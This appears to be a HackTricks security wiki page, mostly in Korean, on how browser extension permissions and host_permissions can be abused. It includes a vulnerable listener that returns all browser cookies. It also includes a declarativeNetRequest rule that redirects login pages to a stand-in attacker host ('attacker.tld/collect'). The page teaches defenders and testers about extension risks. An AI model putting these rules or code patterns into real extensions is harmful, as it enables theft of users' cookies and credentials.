BrowExt - permissions & host_permissions

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Basic Information

permissions

Permissions์€ ํ™•์žฅ ํ”„๋กœ๊ทธ๋žจ์˜ manifest.json ํŒŒ์ผ์—์„œ permissions ์†์„ฑ์œผ๋กœ ์ •์˜๋˜๋ฉฐ, ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ฑฐ์˜ ๋ชจ๋“  ๊ฒƒ(Cookies or Physical Storage)์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค:

์ด์ „ manifest๋Š” ํ™•์žฅ ๊ธฐ๋Šฅ์ด storage ๊ถŒํ•œ์„ ํ•„์š”๋กœ ํ•œ๋‹ค๊ณ  ์„ ์–ธํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” the storage API๋ฅผ ์‚ฌ์šฉํ•ด ๋ฐ์ดํ„ฐ๋ฅผ ์˜๊ตฌ์ ์œผ๋กœ ์ €์žฅํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž์—๊ฒŒ ์–ด๋А ์ •๋„ ์ œ์–ด๊ถŒ์„ ์ฃผ๋Š” cookies๋‚˜ localStorage API์™€ ๋‹ฌ๋ฆฌ, extension storage๋Š” ๋ณดํ†ต ํ™•์žฅ ํ”„๋กœ๊ทธ๋žจ์„ ์ œ๊ฑฐํ•ด์•ผ๋งŒ ์‚ญ์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ™•์žฅ ๊ธฐ๋Šฅ์€ ์ž์‹ ์˜ manifest.json ํŒŒ์ผ์— ํ‘œ์‹œ๋œ ๊ถŒํ•œ์„ ์š”์ฒญํ•˜๋ฉฐ, ํ™•์žฅ ๊ธฐ๋Šฅ์„ ์„ค์น˜ํ•œ ํ›„์—๋Š” ๋ธŒ๋ผ์šฐ์ €์—์„œ ์–ธ์ œ๋“ ์ง€ ํ•ด๋‹น ๊ถŒํ•œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค, ์•„๋ž˜ ์ด๋ฏธ์ง€์™€ ๊ฐ™์ด:

You can find the complete list of permissions a Chromium Browser Extension can request here and a complete list for Firefox extensions here.

host_permissions

์„ ํƒ์‚ฌํ•ญ์ด์ง€๋งŒ ๊ฐ•๋ ฅํ•œ ์„ค์ •์ธ host_permissions ๋Š” ํ™•์žฅ ๊ธฐ๋Šฅ์ด cookies, webRequest, tabs ๊ฐ™์€ API๋ฅผ ํ†ตํ•ด ์–ด๋–ค ํ˜ธ์ŠคํŠธ์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์„์ง€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.

The following host_permissions basically allow every web:

"host_permissions": [
"*://*/*"
]

// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
]

// Or:
"host_permissions": [
"<all_urls>"
]

๋‹ค์Œ์€ ๋ธŒ๋ผ์šฐ์ € ํ™•์žฅ ๊ธฐ๋Šฅ์ด ์ž์œ ๋กญ๊ฒŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ํ˜ธ์ŠคํŠธ๋“ค์ž…๋‹ˆ๋‹ค. ์ด๋Š” ๋ธŒ๋ผ์šฐ์ € ํ™•์žฅ ํ”„๋กœ๊ทธ๋žจ์ด fetch("https://gmail.com/") ๋ฅผ ํ˜ธ์ถœํ•  ๋•Œ CORS ์ œํ•œ์„ ๋ฐ›์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

permissions ๋ฐ host_permissions ์•…์šฉ

Cookies

The cookies permission allows the extension to access all the cookies of the browser. In this blog post this permissions was abused through a vulnerable backdound script to abuse a browser extension to give the attacker all cookies of the browser of the victim user that accessed the malicious web page. The vulnerable code was just sending back all the cookies:

chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.action == "getCookies") {
chrome.cookies.getAll({}, function(cookies) {
sendResponse({data: cookies});
});
}
return true;
}
);

Tabs

Moreover, host_permissions also unlock โ€œadvancedโ€ tabs API functionality. They allow the extension to call tabs.query() and not only get a list of userโ€™s browser tabs back but also learn which web page (meaning address and title) is loaded.

Caution

Not only that, listeners like tabs.onUpdated become way more useful as well. These will be notified whenever a new page loads into a tab.

Running content scripts

Content scripts arenโ€™t necessarily written statically into the extension manifest. Given sufficient host_permissions, extensions can also load them dynamically by calling tabs.executeScript() or scripting.executeScript().

Both APIs allow executing not merely files contained in the extensions as content scripts but also arbitrary code. The former allows passing in JavaScript code as a string while the latter expects a JavaScript function which is less prone to injection vulnerabilities. Still, both APIs will wreak havoc if misused.

Caution

In addition to the capabilities above, content scripts could for example intercept credentials as these are entered into web pages. Another classic way to abuse them is injecting advertising on each an every website. Adding scam messages to abuse credibility of news websites is also possible. Finally, they could manipulate banking websites to reroute money transfers.

Implicit privileges

Some extension privileges donโ€™t have to be explicitly declared. One example is the tabs API: its basic functionality is accessible without any privileges whatsoever. Any extension can be notified when you open and close tabs, it merely wonโ€™t know which website these tabs correspond with.

Sounds too harmless? The tabs.create() API is somewhat less so. It can be used to create a new tab, essentially the same as window.open() which can be called by any website. Yet while window.open() is subject to the pop-up blocker, tabs.create() isnโ€™t.

Caution

An extension can create any number of tabs whenever it wants.

If you look through possible tabs.create() parameters, youโ€™ll also notice that its capabilities go way beyond what window.open() is allowed to control. And while Firefox doesnโ€™t allow data: URIs to be used with this API, Chrome has no such protection. Use of such URIs on the top level has been banned due to being abused for phishing.

tabs.update() is very similar to tabs.create() but will modify an existing tab. So a malicious extension can for example arbitrarily load an advertising page into one of your tabs, and it can activate the corresponding tab as well.

Webcam, geolocation and friends

You probably know that websites can request special permissions, e.g. in order to access your webcam (video conferencing tools) or geographical location (maps). Itโ€™s features with considerable potential for abuse, so users each time have to confirm that they still want this.

Caution

Not so with browser extensions. If a browser extension wants access to your webcam or microphone, it only needs to ask for permission once

Typically, an extension will do so immediately after being installed. Once this prompt is accepted, webcam access is possible at any time, even if the user isnโ€™t interacting with the extension at this point. Yes, a user will only accept this prompt if the extension really needs webcam access. But after that they have to trust the extension not to record anything secretly.

With access to your exact geographical location or contents of your clipboard, granting permission explicitly is unnecessary altogether. An extension simply adds geolocation or clipboard to the permissions entry of its manifest. These access privileges are then granted implicitly when the extension is installed. So a malicious or compromised extension with these privileges can create your movement profile or monitor your clipboard for copied passwords without you noticing anything.

Adding the history keyword to the permissions entry of the extension manifest grants access to the history API. It allows retrieving the userโ€™s entire browsing history all at once, without waiting for the user to visit these websites again.

The bookmarks permission has similar abuse potential, this one allows reading out all bookmarks via the bookmarks API.

Storage permission

The extension storage is merely a key-value collection, very similar to localStorage that any website could use. So no sensitive information should be stored here.

However, advertising companies could also abuse this storage.

More permissions

Manifest V3 split page access from API permissions: permissions still governs privileged APIs (cookies, tabs, history, scripting, etc.) while host_permissions controls which origins those APIs can touch. MV3 also made host permissions runtimeโ€‘grantable, so extensions can ship with none and pop a consent prompt later via chrome.permissions.request()โ€”handy for legit leastโ€‘privilege flows, but also abused by malware to escalate after reputation is established.

A stealthy variant is declarativeNetRequestWithHostAccess (Chrome โ‰ฅ96). It provides the same requestโ€‘blocking/redirect power as declarativeNetRequest but shows a weaker install prompt than <all_urls> host permissions. Malicious extensions use it to silently get โ€œblock/redirect on any siteโ€ capability; test prompts with chrome://extensions/?errors and chrome://extensions/?id=<id>.

declarativeNetRequest dynamic rules let an extension reprogram network policy at runtime. With <all_urls> host access an attacker can weaponise it to hijack traffic or data exfil. Example:

chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 9001,
priority: 1,
action: {
type: "redirect",
redirect: { url: "https://attacker.tld/collect" }
},
condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
}]
});

Chrome๋Š” MV3 ๊ทœ์น™ ํ•œ๋„๋ฅผ ์ƒํ–ฅ ์กฐ์ •ํ–ˆ์Šต๋‹ˆ๋‹ค (โ‰ˆ330k static / 30k dynamic). ๋”ฐ๋ผ์„œ ๋Œ€๊ทœ๋ชจ ์ปค๋ฒ„๋ฆฌ์ง€ ์„ธํŠธ๋กœ ๊ฐ€๋กœ์ฑ„๊ธฐ/๊ด‘๊ณ  ์‚ฝ์ž…์ด ํ˜„์‹ค์ ์œผ๋กœ ๊ฐ€๋Šฅํ•ด์กŒ์Šต๋‹ˆ๋‹ค.

์ตœ๊ทผ ์•…์šฉ ํŒจํ„ด

  • ๊ณต๊ธ‰๋ง ํŠธ๋กœ์ดํ™”๋œ ์—…๋ฐ์ดํŠธ: ๋„์šฉ๋œ ๊ฐœ๋ฐœ์ž ๊ณ„์ •์ด MV3 ์—…๋ฐ์ดํŠธ๋ฅผ ํ‘ธ์‹œํ•˜๋ฉด์„œ <all_urls>์™€ declarativeNetRequest/scripting/webRequest๋ฅผ ์ถ”๊ฐ€ํ•ด ์›๊ฒฉ JS๋ฅผ ์ฃผ์ž…ํ•˜๊ณ  ํ—ค๋”/DOM ์ฝ˜ํ…์ธ ๋ฅผ ์œ ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • ์ง€๊ฐ‘ ํƒˆ์ทจ: ํ˜ธ์ŠคํŠธ ์ ‘๊ทผ๊ถŒํ•œ๊ณผ storage ๋ฐ tabs ์กฐํ•ฉ์œผ๋กœ ๋ฐฑ๋„์–ด๋œ ์ง€๊ฐ‘ ํ™•์žฅ ๊ธฐ๋Šฅ์ด ์‹œ๋“œ(seed)๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค; ๋„์šฉ๋œ Web Store API keys๋Š” ์•…์„ฑ ๋นŒ๋“œ๋ฅผ ๋ฐฐํฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋œ ์‚ฌ๋ก€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์ฟ ํ‚ค ํƒˆ์ทจ: cookies ๊ถŒํ•œ๊ณผ ๊ด‘๋ฒ”์œ„ํ•œ ํ˜ธ์ŠคํŠธ ์ ‘๊ทผ์„ ๊ฐ€์ง„ ํ™•์žฅ ๊ธฐ๋Šฅ์€ HttpOnly์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ์ธ์ฆ ์ฟ ํ‚ค๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค โ€” ํ•ด๋‹น ์กฐํ•ฉ์„ ์ž๊ฒฉ์ฆ๋ช… ํƒˆ์ทจ ๊ฐ€๋Šฅ์œผ๋กœ ๊ฐ„์ฃผํ•˜์„ธ์š”.

์˜ˆ๋ฐฉ

Google์˜ ๊ฐœ๋ฐœ์ž ์ •์ฑ…์€ ํ™•์žฅ ๊ธฐ๋Šฅ์ด ๊ธฐ๋Šฅ์— ํ•„์š”ํ•œ ๊ฒƒ๋ณด๋‹ค ๋” ๋งŽ์€ ๊ถŒํ•œ์„ ์š”์ฒญํ•˜๋Š” ๊ฒƒ์„ ๋ช…์‹œ์ ์œผ๋กœ ๊ธˆ์ง€ํ•˜๊ณ  ์žˆ์–ด ๊ณผ๋„ํ•œ ๊ถŒํ•œ ์š”์ฒญ์„ ์‹คํšจ์ ์œผ๋กœ ์–ต์ œํ•ฉ๋‹ˆ๋‹ค. ํ™•์žฅ ๊ธฐ๋Šฅ์ด ์ด ํ•œ๊ณ„๋ฅผ ๋„˜์€ ์‚ฌ๋ก€๋กœ๋Š” ์• ๋“œ์˜จ ์Šคํ† ์–ด๊ฐ€ ์•„๋‹ˆ๋ผ ๋ธŒ๋ผ์šฐ์ € ์ž์ฒด์— ๋ฒˆ๋“ค๋˜์–ด ๋ฐฐํฌ๋œ ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ธŒ๋ผ์šฐ์ €๋Š” ํ™•์žฅ ๊ถŒํ•œ์˜ ์˜ค๋‚จ์šฉ์„ ๋” ์–ต์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ํ™”๋ฉด ๋…นํ™”์— ์‚ฌ์šฉ๋˜๋Š” Chrome์˜ tabCapture์™€ desktopCapture APIs๋Š” ๋‚จ์šฉ์„ ์ตœ์†Œํ™”ํ•˜๋„๋ก ์„ค๊ณ„๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. tabCapture API๋Š” ํ™•์žฅ ์•„์ด์ฝ˜ ํด๋ฆญ ๊ฐ™์€ ์ง์ ‘์ ์ธ ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ์„ ํ†ตํ•ด์„œ๋งŒ ํ™œ์„ฑํ™”๋  ์ˆ˜ ์žˆ๊ณ , desktopCapture๋Š” ๊ธฐ๋กํ•  ์ฐฝ์— ๋Œ€ํ•ด ์‚ฌ์šฉ์ž ํ™•์ธ์ด ํ•„์š”ํ•ด ์€๋ฐ€ํ•œ ๋…นํ™”๋ฅผ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ๋ณด์•ˆ ์กฐ์น˜๋ฅผ ๊ฐ•ํ™”ํ•˜๋ฉด ์ข…์ข… ํ™•์žฅ ๊ธฐ๋Šฅ์˜ ์œ ์—ฐ์„ฑ๊ณผ ์‚ฌ์šฉ์ž ํŽธ์˜์„ฑ์ด ์ €ํ•˜๋ฉ๋‹ˆ๋‹ค. activeTab permission์ด ์ด ๊ท ํ˜•์„ ์ž˜ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. ์ด ๊ถŒํ•œ์€ ํ™•์žฅ ๊ธฐ๋Šฅ์ด ์ธํ„ฐ๋„ท ์ „์ฒด์— ๋Œ€ํ•œ ํ˜ธ์ŠคํŠธ ๊ถŒํ•œ์„ ์š”์ฒญํ•  ํ•„์š”๋ฅผ ์—†์• ๊ธฐ ์œ„ํ•ด ๋„์ž…๋˜์—ˆ์œผ๋ฉฐ, ์‚ฌ์šฉ์ž๊ฐ€ ๋ช…์‹œ์ ์œผ๋กœ ํ™œ์„ฑํ™”ํ–ˆ์„ ๋•Œ ํ˜„์žฌ ํƒญ์—๋งŒ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ชจ๋ธ์€ ์‚ฌ์šฉ์ž ์ฃผ๋„ ๋™์ž‘์ด ํ•„์š”ํ•œ ํ™•์žฅ์—๋Š” ํšจ๊ณผ์ ์ด์ง€๋งŒ ์ž๋™ ๋˜๋Š” ์‚ฌ์ „ ์กฐ์น˜๊ฐ€ ํ•„์š”ํ•œ ๊ฒฝ์šฐ์—๋Š” ์ ํ•ฉํ•˜์ง€ ์•Š์•„ ํŽธ์˜์„ฑ๊ณผ ์ฆ‰๊ฐ์  ์‘๋‹ต์„ฑ์„ ์ €ํ•˜์‹œํ‚ต๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ